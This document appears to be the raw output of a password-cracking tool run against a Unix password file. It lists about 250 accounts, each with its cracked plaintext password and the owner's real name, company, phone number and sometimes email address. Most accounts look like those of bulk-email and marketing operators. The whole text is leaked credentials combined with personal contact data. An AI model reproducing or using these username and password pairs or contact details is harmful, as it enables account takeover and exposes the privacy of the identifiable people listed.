Guessed lash [lash [ANTHONY]]  bob Anthony / Larry Kirsch,,954-748-3510, [etc_passwd.fixed /bin/tcsh]
Guessed career [career [CHOICE]]  Jeanette Turner,,941-351-5804, [etc_passwd.fixed /bin/tcsh]
Guessed giveinfo [giveinfo [VINCENT]]  Vincent Garguilo,,718-256-0904,vinigar@peakaccess.net [etc_passwd.fixed /bin/tcsh]
Guessed ournetwork [ournetwork [WHEELS]]  Jerry Schneider,,206-588-0096,75020.2702@compuserve.com [etc_passwd.fixed /bin/tcsh]
Guessed lightquest [lightquest [GORDON]]  Gordon M. Curry,,972-431-4956,lightquest@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed visionpics [visionpics [RESPONSE]]  Jason Kristofer,Visionary Pics,213-655-7666, [etc_passwd.fixed /bin/tcsh]
Guessed wwjpwwjpwwjp [wwjpwwjpwwjp [TRAVEL]]  Warren,,, [etc_passwd.fixed /bin/tcsh]
Guessed jeffsmoney [jeffsmoney [JEFFSMON]]  Jeff Jacobs,J+J Enterprises,212-290-4517,jeff@superteam.com [etc_passwd.fixed /bin/tcsh]
Guessed global [global [DISCOVER]]  Frank Martinez,Global TradeNetwork,515-279-5204, [etc_passwd.fixed /bin/tcsh]
Guessed linktvmem [linktvmem [LINKTVME]]  Ernie Lamonica,,702-828-9003, [etc_passwd.fixed /bin/tcsh]
Guessed phone [phone [PHONE]]  Susan Pottish,,415-453-9546,svamd@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed products [products [MOUNTAIN]]  Joe Kuhn,,908-220-1110,qwikmail@raven.cybercomm.net [etc_passwd.fixed /bin/tcsh]
Guessed tnoni [tnoni [HEALTH]]  Michael Avenoso,Riverwood Health,501-253-2535,amstar7@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed stink [stink [GREATSEX]]  Gary Fisher,,415-306-9466, [etc_passwd.fixed /bin/tcsh]
Guessed judge [judge [VANELGOR]]  Howard Van Elgort,,604-246-9114, [etc_passwd.fixed /bin/tcsh]
Guessed beitall [beitall [DOITNOW]]  Dr. Joy Rausonussen,,, [etc_passwd.fixed /bin/tcsh]
Guessed infolink [infolink [BARRYD]]  Ross Hines,,206-255-6185, [etc_passwd.fixed /bin/tcsh]
Guessed bugbox [bugbox [BARRYD]]  Ross Hines,,206-255-6185, [etc_passwd.fixed /bin/tcsh]
Guessed seicom [seicom [Hubertt]]  Hubert Trotman,Safari Equities Inc.,718-994-2801, [etc_passwd.fixed /bin/tcsh]
Guessed yourreply [yourreply [REPORTS]]  Vince Bedell,AAA Discount,702-564-9651,vince2602@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed wholesale [wholesale [CLONE]]  Tom Cox,,954 925-8132, [etc_passwd.fixed /bin/tcsh]
Guessed profitsnow [profitsnow [MATTG]]  Matt Glaspie,,810-669-1564, [etc_passwd.fixed /bin/tcsh]
Guessed freshair [freshair [BRADNEAR]]  Brad Near,,, [etc_passwd.fixed /bin/tcsh]
Guessed succeednow [succeednow [MARTINR]]  Martin Ruiz,Golden Success,904-532-9753,martin@goldensuccess.com [etc_passwd.fixed /bin/tcsh]
Guessed cmc [cmc [RANDYC]]  Wayne Cook,712-252-2154,, [etc_passwd.fixed /bin/tcsh]
Guessed contacts [contacts [MARTINRU]]  Martin Ruiz,Golden Success,904-532-9753,martin@goldensuccess.com [etc_passwd.fixed /bin/tcsh]
Guessed a1amway [a1amway [CLONE]]  Tom Cox,,954 925-8132, [etc_passwd.fixed /bin/tcsh]
Guessed bizinfo [bizinfo [FLIGHT]]  Shawn Bogardus,Worldnet Data Services,301-926-6882, [etc_passwd.fixed /bin/tcsh]
Guessed profitsonline [profitsonline [MATTG]]  Matt Glaspie,,, [etc_passwd.fixed /bin/tcsh]
Guessed gasmlm [gasmlm [GSCHMIDT]]  Dr. George Schmidt,Gardens Eyecare,407-622-8200,Dr.Schmidt@usa.net [etc_passwd.fixed /bin/tcsh]
Guessed infosoft [infosoft [BRANDY]]  Jay Pinkus,         ,215-953-8239, [etc_passwd.fixed /bin/tcsh]
Guessed ion [ion [MATTG]]  Matt Glaspie,ION,810-669-1564, [etc_passwd.fixed /bin/tcsh]
Guessed mktamerica [mktamerica [CLONE]]  Tom Cox,,954 925-8132, [etc_passwd.fixed /bin/tcsh]
Guessed futureplan [futureplan [STMARTIN]]  Tracy Dickson-Depaoli,Neways Inc.,604-526-6721, [etc_passwd.fixed /bin/tcsh]
Guessed inside [inside [INFO1]]  Mark A. Watts,Inside Access,503-612-0538,insideacc@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed healthnow [healthnow [HARRY1]]  Thomas M. Cox,,dodger3@laker.net, [etc_passwd.fixed /bin/tcsh]
Guessed sms [sms [HARRY1]]  Suzanne Schnell,,206-953-9372, [etc_passwd.fixed /bin/tcsh]
Guessed success1 [success1 [PROMO1]]  GREG SCUDDER,,805-544-6251, [etc_passwd.fixed /bin/tcsh]
Guessed yousave [yousave [HARRY1]]  Thomas M. Cox,Reseller,954-925-8132, [etc_passwd.fixed /bin/tcsh]
Guessed paulott [paulott [PAULOTT1]]  Paul Ott,941-731-7855,pott123@aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed savenow [savenow [HARRY1]]  Thomas M. Cox,Reseller,954-925-8132, [etc_passwd.fixed /bin/tcsh]
Guessed utilizatt [utilizatt [FREEDOM2]]  Joe Reynolds,Free Eagles Enterprises,, [etc_passwd.fixed /bin/tcsh]
Guessed eric [eric [DIANE2]]  Eric Lederman,,714-951-9027, [etc_passwd.fixed /bin/tcsh]
Guessed contino [contino [CAREER4]]  Carl Contino,First Family Internet Services,716-834-0057,contino@ffinternet.com [etc_passwd.fixed /bin/tcsh]
Guessed emailfarmer [emailfarmer [RENERENE]]  BARRY DISNEY,,, [etc_passwd.fixed /bin/tcsh]
Guessed lighthouse [lighthouse [DATADATA]]  Mimi Morissette,,503-203-1349, [etc_passwd.fixed /bin/tcsh]
Guessed earthtrust [earthtrust [DATADATA]]  Mimi Morressette,,503-203-8880, [etc_passwd.fixed /bin/tcsh]
Guessed empire [empire [RENERENE]]  Barry Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed earthangels [earthangels [DATADATA]]  Mimi Moiressette,,503-203-8880, [etc_passwd.fixed /bin/tcsh]
Guessed futurenet [futurenet [DATADATA]]  Mimi Morissette,,503-203-8880, [etc_passwd.fixed /bin/tcsh]
Guessed lighthouses [lighthouses [DATADATA]]  Mimi Morissette,,503-203-8880, [etc_passwd.fixed /bin/tcsh]
Guessed astrology [astrology [DATADATA]]  Mimi Morissette,,503-203-8880, [etc_passwd.fixed /bin/tcsh]
Guessed bkinfo [bkinfo [RAYRAY]]  Kareem Hassan,,216-439-1019,hawk7640@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed goldenaura [goldenaura [DATADATA]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed shakespeare [shakespeare [DATADATA]]  Mim i Morissette,,503-203-8880, [etc_passwd.fixed /bin/tcsh]
Guessed rolyatge [rolyatge [DRAWDE]]  George Taylor,,717-424-1816, [etc_passwd.fixed /bin/tcsh]
Guessed rolyat [rolyat [DRAWDE]]  George Taylor,Taylor Computerized Services,717-424-1816, [etc_passwd.fixed /bin/tcsh]
Guessed details13 [details13 [111111]]  Dave,Sheehan & Associates,,dave@ompd.com [etc_passwd.fixed /bin/tcsh]
Guessed ompd [ompd [111111]]  Dave Sheehan,,708-954-9101, [etc_passwd.fixed /bin/tcsh]
Guessed detailsnow [detailsnow [000000]]  Bob Wagner,,305-534-2769, [etc_passwd.fixed /bin/tcsh]
Guessed remove3 [remove3 [111111]]  Dave,Sheehan & Associates,773-277-2900,dave@ompd.com [etc_passwd.fixed /bin/tcsh]
Guessed details14 [details14 [111111]]  Dave,Sheehan & Associates,773-277-2900,dave@ompd.com [etc_passwd.fixed /bin/tcsh]
Guessed details15 [details15 [111111]]  Dave,Sheehan & Associates,773-277-2900,dave@ompd.com [etc_passwd.fixed /bin/tcsh]
Guessed vlk9 [vlk9 [123456]]  ,VLK9 Network,602-874-9247,kat187@juno.com [etc_passwd.fixed /bin/tcsh]
Guessed details12 [details12 [111111]]  Dave,Sheehan & Associates,773-277-2900,dave@ompd.com [etc_passwd.fixed /bin/tcsh]
Guessed hitme [hitme [000000]]  Bob Wagner,Amerinet,305-534-2769,amerinet@bridge.net [etc_passwd.fixed /bin/tcsh]
Guessed mkiely [mkiely [12345]]  Al Walentis,VG Productions,610-370-2340,cyber1@nni.com [etc_passwd.fixed /bin/tcsh]
Guessed vlk9a [vlk9a [123456]]  Nancy A Tietien,VLK9 Network,602-874-9247,kat187@juno.com [etc_passwd.fixed /bin/tcsh]
Guessed lists [lists [JOSHUA]]  Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed website [lists [JOSHUA]]  Barry Disney,Network Marketing Group Inc.,513-961-6022, [etc_passwd.fixed /bin/tcsh]
Guessed morinfo [morinfo [CESSNA]]  John Fraine,,941-732-1872,hirate@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed ragesking [ragesking [KIMMY]]  Gary S. Kuzel,,630-985-5191,gskinc@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed pichx [pichx [DRAGON]]  Bernhard Bowitz,,852-9-190-3688, [etc_passwd.fixed /bin/tcsh]
Guessed srdindusry [srdindusry [SAILING]]  Brian McDermott,SRD Corp.,860-295-8377, [etc_passwd.fixed /bin/tcsh]
Guessed softcell [softcell [SOFTIE]]  Adam Morgan / Softcell,,212-953-5234, [etc_passwd.fixed /bin/tcsh]
Guessed glory [glory [HUMBOLDT]]  Pamela Murphy,,901 784-6036, [etc_passwd.fixed /bin/tcsh]
Guessed mybox [mybox [FORWARD]]  Thomas Cox,,, [etc_passwd.fixed /bin/tcsh]
Guessed xtraco [xtraco [ORANGES]]  Joseph Ambrose,,800-247-0792 / 810-767-8405 / 810-767-1884,xtraco@cris.com [etc_passwd.fixed /bin/tcsh]
Guessed eznrg [eznrg [DIAMOND]]  Kim Krueger,,602-878-8812, [etc_passwd.fixed /bin/tcsh]
Guessed a030253 [a030253 [SIERRA]]  GEORGE NIELSEN,01133130324163,, [etc_passwd.fixed /bin/tcsh]
Guessed egtech [egtech [JOSHUA]]  Barry Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed homelab [homelab [MIRACLES]]  Mary Addams-Shaffer,,1-156-627-4551, [etc_passwd.fixed /bin/tcsh]
Guessed mktginfo [mktginfo [MARTHA]]  Robert Hutton,,,RHutton@mail.idt.net [etc_passwd.fixed /bin/tcsh]
Guessed mikeplus2 [mikeplus2 [SNIFFY]]  Mike Mormile,,334-298-4059, [etc_passwd.fixed /bin/tcsh]
Guessed vistagroup [vistagroup [KODIAK]]  George Gaul,The Vista Group,303-674-2256,captain@ecentral.com [etc_passwd.fixed /bin/tcsh]
Guessed thanku [thanku [ELBOWS]]  Doug Sutton,,, [etc_passwd.fixed /bin/tcsh]
Guessed herbalpc [herbalpc [SPUNKY]]  Pat Connolly / Joyce,,309-691-1762,herbalpc@ix.netcom.com [etc_passwd.fixed /bin/tcsh]
Guessed testing [testing [MIRACLES]]  Mary Addams-Shaffer,,1-156-627-4551, [etc_passwd.fixed /bin/tcsh]
Guessed wolfgang [wolfgang [OLIVER]]  Bui VaneLinde,,, [etc_passwd.fixed /bin/tcsh]
Guessed llgun [llgun [LOKEY]]  Lois Gunnerson,Dynamic Marketing Group,602-949-0031, [etc_passwd.fixed /bin/tcsh]
Guessed xpres [xpres [LANSING]]  Shawn Sageghieh,Email Express,714-568-9688,714-443-4559 [etc_passwd.fixed /bin/tcsh]
Guessed give [give [TUCKER]]  Jay Holtman,,312-666-4956, [etc_passwd.fixed /bin/tcsh]
Guessed zen [zen [KITTY]]  Joe Zielinski,Z Lite,708-720-4929, [etc_passwd.fixed /bin/tcsh]
Guessed mustsee [mustsee [JACKSON]]  Tom Cox,,954-925-8132,dodger3@laker.net [etc_passwd.fixed /bin/tcsh]
Guessed aopptun [aopptun [BENNIE]]  AMOS FISHER,,, [etc_passwd.fixed /bin/tcsh]
Guessed amnat3 [amnat3 [PARROT]]  Lenn Feldmann,,914-351-5051, [etc_passwd.fixed /bin/tcsh]
Guessed hologram [hologram [PHONECAR]]  Mimi Morissette,,503-203-8880, [etc_passwd.fixed /bin/tcsh]
Guessed injuredjoe [injuredjoe [CAPTAIN]]  Todd Syska,,914-266-8322, [etc_passwd.fixed /bin/tcsh]
Guessed healthy4u [healthy4u [BEGIN]]  Betty M. Colombo,healthyu@juno.com,516-541-3001,516-541-3079 [etc_passwd.fixed /bin/tcsh]
Guessed tntalgae [tntalgae [FROSTY]]  Todd Thompson,,303-765-5950, [etc_passwd.fixed /bin/tcsh]
Guessed gks [gks [DANCER]]  Callie Goodrum,GKS Enterprises,706-554-6181, [etc_passwd.fixed /bin/tcsh]
Guessed praetor [praetor [TEMP]]  Dave Browning,,, [etc_passwd.fixed /bin/tcsh]
Guessed midstateop [midstateop [SPIKE]]  Terry Eisenberg,,717-741-1159, [etc_passwd.fixed /bin/tcsh]
Guessed extractor [extractor [JOSHUA]]  Barry Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed lorios [lorios [DOLORES]]  Al Brooks,,619-487-9664, [etc_passwd.fixed /bin/tcsh]
Guessed zitbuster [zitbuster [ARTURO]]  Art Sel Barrio,Art *Del* Barrio,210-581-7163, [etc_passwd.fixed /bin/tcsh]
Guessed showcase [showcase [MIDAS]]  Bill Panchuck,,810-674-0444, [etc_passwd.fixed /bin/tcsh]
Guessed ableman [ableman [SEESAW]]  Barry G. Swenson / Reg Hardy,Able Co. Services Inc.,954-565-0270,954-563-1767 [etc_passwd.fixed /bin/tcsh]
Guessed infotape [infotape [STARFISH]]  Delbert Rohm,,509-332-6308, [etc_passwd.fixed /bin/tcsh]
Guessed thegreen [thegreen [PEPPER]]  Mark Olynyk,Green Pages,201-785-0024, [etc_passwd.fixed /bin/tcsh]
Guessed aperillo [aperillo [BUNNER]]  Anthony Perillo,,516-822-6395, [etc_passwd.fixed /bin/tcsh]
Guessed csn [csn [BASKETBA]]  Mike Mullen,ProBasketball Electronic Services,941-365-HOOP,hoops@kudos.net [etc_passwd.fixed /bin/tcsh]
Guessed secret [secret [ALEXANDR]]  Thomas Cox,,954-925-8132,dodger3@laker.net [etc_passwd.fixed /bin/tcsh]
Guessed details [details [SKIPPY]]  ,Kevin Griffith,770-967-0726, [etc_passwd.fixed /bin/tcsh]
Guessed biznews [biznews [DRAGON]]  Linda Bruton,,510-704-1466, [etc_passwd.fixed /bin/tcsh]
Guessed hummingbrd [hummingbrd [CLOVER]]  gil Gerald,Gil Gerald And Associates,213-953-7980, [etc_passwd.fixed /bin/tcsh]
Guessed minesh [minesh [ASHWIN]]  A. Bhindi,Ambassador Finance,011-44-0081-597-1262,ashinuk@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed JBA1231 [JBA1231 [STARSHIP]]  Jorge Acevedo,,212-856-7658, [etc_passwd.fixed /bin/tcsh]
Guessed freelance [freelance [SELINA]]  Bob Thompson,,864-232-0743, [etc_passwd.fixed /bin/tcsh]
Guessed univer [univer [PIPER]]  James Rockwell,,909-466-1411, [etc_passwd.fixed /bin/tcsh]
Guessed rhutton [rhutton [MARTHA]]  Robert Hutton,Marketing Concepts,212-333-3131, [etc_passwd.fixed /bin/tcsh]
Guessed agape [agape [LOGOS]]  Adrian Watson,Y.A.M. Incorporated,,hpatrick@nls.net [etc_passwd.fixed /bin/tcsh]
Guessed awareness [awareness [HAPPY]]  Mark Hecox,VAliente Marketing,714-779-7154, [etc_passwd.fixed /bin/tcsh]
Guessed capital [capital [CESSNA]]  Louten Hedgpeth & Jack Langhorne,,910-392-7122,lrhedgpeth@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed infostart [infostart [GOFORIT]]  Gary Brendle,,410-349-1260, [etc_passwd.fixed /bin/tcsh]
Guessed donl [donl [DONELLE]]  Don Lewis,,909-985-0651, [etc_passwd.fixed /bin/tcsh]
Guessed peak [peak [ORGASMIC]]  Ron Goulet,,520-779-5342, [etc_passwd.fixed /bin/tcsh]
Guessed vipvalues [vipvalues [GRACE]]  Michael Franklin,V.I.P.,213 753-9241, [etc_passwd.fixed /bin/tcsh]
Guessed lilleyen [lilleyen [GANDALF]]  Richard Lilley,Lilley Enterprises,905-319-1369, [etc_passwd.fixed /bin/tcsh]
Guessed ozone [ozone [TOWLES]]  Jogn Towles,,817-859-5187, [etc_passwd.fixed /bin/tcsh]
Guessed welcome [welcome [SNOWSTOR]]  Joe Kuhn,,908-220-1110,qwikmail@raven.cybercomm.net [etc_passwd.fixed /bin/tcsh]
Guessed child [child [MIDAS]]  Bill Panchuck,Showcase,eaglekoz@ix.netcom.com, [etc_passwd.fixed /bin/tcsh]
Guessed cellular [cellular [DISKETTE]]  John Hendrix,Simply Natural Prod,713 484-3490, [etc_passwd.fixed /bin/tcsh]
Guessed sponsors [sponsors [BASKETBA]]  Mike Mullen,ProBasketball Electronic Services,941-365-HOOP,hoops@kudos.net [etc_passwd.fixed /bin/tcsh]
Guessed cbccorp [cbccorp [SCOUT]]  Peter Donofrio,,, [etc_passwd.fixed /bin/tcsh]
Guessed autoreply [autoreply [NORTHLAN]]  Karen Nelson,Northland Specialty Products,218-727-8641,rnelson@cp.duluth.mn.us [etc_passwd.fixed /bin/tcsh]
Guessed money4u [money4u [KELLY]]  PJ Graves,P. Graves Publishing,415-668-9583, [etc_passwd.fixed /bin/tcsh]
Guessed stealdeals [stealdeals [ENERGIZE]]  Barry Sowder,,407-332-0400, [etc_passwd.fixed /bin/tcsh]
Guessed gcmkt [gcmkt [CRAWFISH]]  Neil Goodman,,504-766-8843, [etc_passwd.fixed /bin/tcsh]
Guessed autofuture [autofuture [CADILLAC]]  Andre West,,313-709-4667, [etc_passwd.fixed /bin/tcsh]
Guessed freeway1 [freeway1 [SLACKER]]  Brian Perisho,,317-241-4918, [etc_passwd.fixed /bin/tcsh]
Guessed jl [jl [MILAGROS]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed bewealthy [bewealthy [GREENBAC]]  John Wright,334-286-6275,, [etc_passwd.fixed /bin/tcsh]
Guessed freeinfo [freeinfo [CHICLET]]  Alan Lange,,, [etc_passwd.fixed /bin/tcsh]
Guessed deepbreath [deepbreath [ANANDA]]  Dr. Joy Rausmussen,,, [etc_passwd.fixed /bin/tcsh]
Guessed gcprod [gcprod [PRODUC]]  Gary Cuminale,GNC Products,716-381-7132, [etc_passwd.fixed /bin/tcsh]
Guessed infocenter [infocenter [ACCUSER]]  Maynard S. White,,805-945-0351, [etc_passwd.fixed /bin/tcsh]
Guessed grants [grants [TERESA]]  Victor Chapman,CM Consulting,516-377-3307,roger7891@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed vision [vision [THUNDER]]  Paula Stoup,,717-783-6465,paulas1043@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed mikeplus1 [mikeplus1 [SNIFFY]]  Mike Mormile,,334-298-4059, [etc_passwd.fixed /bin/tcsh]
Guessed srdcorp [srdcorp [SAILING]]  Brian McDermott,SRD Corp.,860-295-8377, [etc_passwd.fixed /bin/tcsh]
Guessed bncentprs [bncentprs [JESUS]]  Robert Goldinger,BNC Enterprises,757-548-2179, [etc_passwd.fixed /bin/tcsh]
Guessed shamrock [shamrock [CYPRESS]]  Tom Cox,,954-925-8132,dodger3@laker.net [etc_passwd.fixed /bin/tcsh]
Guessed dlbedding [dlbedding [CHANCE]]  Bill Dantuoson,Donalee Bedding,516-783-9896,billydlm@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed frsecurity [frsecurity [THISISIT]]  Robert Davis,,803-667-0702,jdr02@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed david [david [REBECCA]]  David Richards,717-242-0873,, [etc_passwd.fixed /bin/tcsh]
Guessed pegasustrv [pegasustrv [LIZZIE]]  Claire Covington Altorfer,Pegasus Travel,510-825-5777, [etc_passwd.fixed /bin/tcsh]
Guessed employnews [employnews [INGRID]]  Reginald Barefield,,610-798-7869, [etc_passwd.fixed /bin/tcsh]
Guessed carproinc [carproinc [GROSS]]  Wayne T. Carsey Jr.,Car Pro Inc,916-853-9721,wcarsey@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed alexis [alexis [WHALES]]  Mary Knorr,Medical Herbal Resources,602-678-4362, [etc_passwd.fixed /bin/tcsh]
Guessed topscan [topscan [JUSTIN]]  David Hall,,910-855-6375, [etc_passwd.fixed /bin/tcsh]
Guessed mattken [mattken [INWOOD]]  Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed travelagt [travelagt [GOLDIE]]  David Goldsmith,Hello World Travel,847-673-7610, [etc_passwd.fixed /bin/tcsh]
Guessed coupons [coupons [DISKETTE]]  John Hendrix,,, [etc_passwd.fixed /bin/tcsh]
Guessed salesunlim [salesunlim [COYOTE]]  Ronald Wiley,Sales Unlimited Inc.,908-780-2590, [etc_passwd.fixed /bin/tcsh]
Guessed incomeplus [incomeplus [CHELSEY]]  Dennis Estelle,,908-920-9054, [etc_passwd.fixed /bin/tcsh]
Guessed lecram [lecram [BARUCH]]  Rene Roussey,,516-283-4240, [etc_passwd.fixed /bin/tcsh]
Guessed mortgage [mortgage [PEANUT]]  Louis Salatto,,203-483-6630, [etc_passwd.fixed /bin/tcsh]
Guessed ucan2 [ucan2 [NAMASTE]]  Dr. Joy Rausonussen,,, [etc_passwd.fixed /bin/tcsh]
Guessed hotbiz [hotbiz [ALBERTA]]  Ted Benedict,,604-535-3304, [etc_passwd.fixed /bin/tcsh]
Guessed sjsent [hotbiz [ALBERTA]]  Steven Spohn,SJS Enterprises,610-987-9272, [etc_passwd.fixed /bin/tcsh]
Guessed findout [findout [SWISHER]]  Ben Vann,Blue Whale Media,910-785-9296,bvann@whalemail.com [etc_passwd.fixed /bin/tcsh]
Guessed prosper [prosper [SITUATIO]]  Daniel Sheehey,,707-822-8324,djshee@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed iaplus [iaplus [SALOME]]  Amos Fisher,,717-354-6594, [etc_passwd.fixed /bin/tcsh]
Guessed light [light [RAYMOND]]  AMOS FISHER,,717 354-4046, [etc_passwd.fixed /bin/tcsh]
Guessed cheapcalls [cheapcalls [MAGICAL]]  Richard Rubenstein,,219-864-2501,rnr@pla.net.net [etc_passwd.fixed /bin/tcsh]
Guessed bigprofits [bigprofits [DROSOPHI]]  Steven Ayer,Internet Marketing Solutions,203-421-5070,bigprofits@writeme.com [etc_passwd.fixed /bin/tcsh]
Guessed powernow [powernow [CHELSEY]]  Dennis Estelle,,908-920-5917, [etc_passwd.fixed /bin/tcsh]
Guessed drchris [drchris [PSYCHE]]  Dr. Chris Wolf,,609-983-5129, [etc_passwd.fixed /bin/tcsh]
Guessed amnat1 [amnat1 [PARROT]]  Lenn Feldmann,,914-351-5051, [etc_passwd.fixed /bin/tcsh]
Guessed amsquare [amsquare [MOOSEHEA]]  Doug Petersen,,508-376-1248, [etc_passwd.fixed /bin/tcsh]
Guessed answers [answers [CHELSEY]]  Dennis Estelle,,908-920-5917, [etc_passwd.fixed /bin/tcsh]
Guessed freeads [freeads [BATMAN]]  Bill Guting,,,awt@cwnet.com [etc_passwd.fixed /bin/tcsh]
Guessed college [college [KELLY]]  Pam Graves,,415-668-9583, [etc_passwd.fixed /bin/tcsh]
Guessed powerad [powerad [DENTAL]]  Juanita Boivin,,,urwlthybiz@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed newbuss [newbuss [CHELSEY]]  Dennis Estelle,Pioneer Marketing,908-920-5917, [etc_passwd.fixed /bin/tcsh]
Guessed classads [classads [WINTER]]  Robert Pearsall,,, [etc_passwd.fixed /bin/tcsh]
Guessed zee [zee [SYLVESTE]]  Thomas Cox,,954-925-8132,dodger3@laker.net [etc_passwd.fixed /bin/tcsh]
Guessed disease [disease [MOOSEHEA]]  Doug Peterson,,508-376-1248, [etc_passwd.fixed /bin/tcsh]
Guessed steveplus [steveplus [GIANTS]]  Barry Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed matco [matco [PRAISE]]  John Matthews,,972-226-0491, [etc_passwd.fixed /bin/tcsh]
Guessed legalwon [legalwon [CRITTER]]  Peter Brock,Developmental Learning Concepts,301-949-4422, [etc_passwd.fixed /bin/tcsh]
Guessed siteone [siteone [CIRCLE]]  Richard Scott,Richard Scott + Assoc.,334-928-8406, [etc_passwd.fixed /bin/tcsh]
Guessed sandman [sandman [BLASTER]]  Ed Sand,,406-684-5759, [etc_passwd.fixed /bin/tcsh]
Guessed disneygroup [disneygroup [JOSHUA]]  Barry Disney,Network Marketing Group Inc.,513-961-6022, [etc_passwd.fixed /bin/tcsh]
Guessed sevenmil [sevenmil [DOROTHY]]  Eric Ralls,New Horizons,602-547-5911, [etc_passwd.fixed /bin/tcsh]
Guessed adman [adman [CRYSTAL]]  Benjamin Ice,,813-446-5919, [etc_passwd.fixed /bin/tcsh]
Guessed solar1 [solar1 [SHOPPING]]  Gary Corbitt,,310-338-1019, [etc_passwd.fixed /bin/tcsh]
Guessed b6024 [b6024 [PATIENCE]]  Tom Benedict,Tom Benedict,813-528-1548, [etc_passwd.fixed /bin/tcsh]
Guessed online [online [LOVER]]  Joe Cola,Bank Card Systems,800-563-7832, [etc_passwd.fixed /bin/tcsh]
Guessed invest [invest [CRYSTAL]]  Benjamin Ice,,,jammerjoe@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed gocell [gocell [AMANDA]]  Lawrence Falco,L & S Marketing,516-821-1125, [etc_passwd.fixed /bin/tcsh]
Guessed donow [donow [TURNAROU]]  Bradley Near,,602-954-1809, [etc_passwd.fixed /bin/tcsh]
Guessed laptop [laptop [MUSIC]]  Thomas Cox,,954-925-8132, [etc_passwd.fixed /bin/tcsh]
Guessed mktgconcepts [mktgconcepts [MARTHA]]  Robert Hutton,Marketing Concepts,212-333-3131,rhutton@idt.net [etc_passwd.fixed /bin/tcsh]
Guessed wholesaleprices [wholesaleprices [MARIAM]]  Mohammad Hanif,,972-669-2223,compumart@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed removeme [removeme [ERASER]]  Dave Mann,,, [etc_passwd.fixed /bin/tcsh]
Guessed allnatural [allnatural [CHELSEY]]  Dennis Estelle,,908-920-9054, [etc_passwd.fixed /bin/tcsh]
Guessed welltrend [welltrend [BUMBLE]]  Louis Salatto,,203-483-6630, [etc_passwd.fixed /bin/tcsh]
Guessed mquest [mquest [OOPS]]  Phil Brown,Merchant Quest,541-742-6206,pbrown@pdx.oneworld.com [etc_passwd.fixed /bin/tcsh]
Guessed health [health [JESUS]]  Randy Haugen,Cypress Marketing Inc,303-763-5787, [etc_passwd.fixed /bin/tcsh]
Guessed rcenterpi [rcenterpi [HALFWAY]]  Ron Mayfield,,417-445-2602 or 417-445-6797,roncan@juno.com [etc_passwd.fixed /bin/tcsh]
Guessed tvlsecrets [tvlsecrets [CAVIAR]]  Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed protection [protection [MOOSEHEA]]  Doug Peterson,,, [etc_passwd.fixed /bin/tcsh]
Guessed robtym [robtym [MAKEMYDA]]  Tom Cox,,954-925-8132,dodger3@laker.net [etc_passwd.fixed /bin/tcsh]
Guessed networkes [networkes [DOROTHY]]  Eric Ralls,,602-547-5911, [etc_passwd.fixed /bin/tcsh]
Guessed helpme [helpme [CORKIE]]  Doug Sutton,905-567-1874,, [etc_passwd.fixed /bin/tcsh]
Guessed profile [profile [METHOD]]  Joe Kuhn,908-220-1110,qwikmail@raven.cybercomm.net, [etc_passwd.fixed /bin/tcsh]
Guessed adna1 [adna1 [MAYE]]  Adna Dalessandro,,216 779-1136, [etc_passwd.fixed /bin/tcsh]
Guessed response [response [STINKY]]  Steve Brown,Business Solutions South,601-832-5031, [etc_passwd.fixed /bin/tcsh]
Guessed anyahu [anyahu [ANKLES]]  Doug Sutton,Winning Edge Systems,905-567-1874, [etc_passwd.fixed /bin/tcsh]
Guessed secret1 [secret1 [ALEXANDR]]  John (see secret),see secret,see secret,see secret [etc_passwd.fixed /bin/tcsh]
Guessed ezwork [ezwork [ACCESS]]  Glenda Smith,,216-291-4589,gs72895@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed herb [herb [TINSEL]]  Bob Keegan,,215-493-0706, [etc_passwd.fixed /bin/tcsh]
Guessed cash [cash [SYLVESTE]]  Thomas Cox,,954-925-8132,dodger3@laker.net [etc_passwd.fixed /bin/tcsh]
Guessed choice3 [choice3 [PROFIT]]  Lenn Feldmann,,914-351-5051, [etc_passwd.fixed /bin/tcsh]
Guessed yucan2 [yucan2 [OLIVER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed rainbow [rainbow [WILBUR]]  Patrice Lowe,,219-397-6615, [etc_passwd.fixed /bin/tcsh]
Guessed choice4 [choice4 [PROFIT]]  Lenn Feldmann,,914-351-5051, [etc_passwd.fixed /bin/tcsh]
Guessed jeps318 [jeps318 [MYCROFT]]  John Sallinger,Sallinger Assoc.,412-327-8591, [etc_passwd.fixed /bin/tcsh]
Guessed mortgages [mortgages [MIDAS]]  Bill Panchuck,,810-674-0444, [etc_passwd.fixed /bin/tcsh]
Guessed blizzard97 [blizzard97 [BETSY]]  David Woldt,,605-886-3654,turbo41@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed mecca [mecca [BACKWARD]]  Thomas Cox resell,,954-925-8132, [etc_passwd.fixed /bin/tcsh]
Guessed teezer [teezer [TEASER]]  Dan Herzner,,914-769-6700, [etc_passwd.fixed /bin/tcsh]
Guessed help4u [help4u [MINERAL]]  Dr. Joy Rausonussen,,, [etc_passwd.fixed /bin/tcsh]
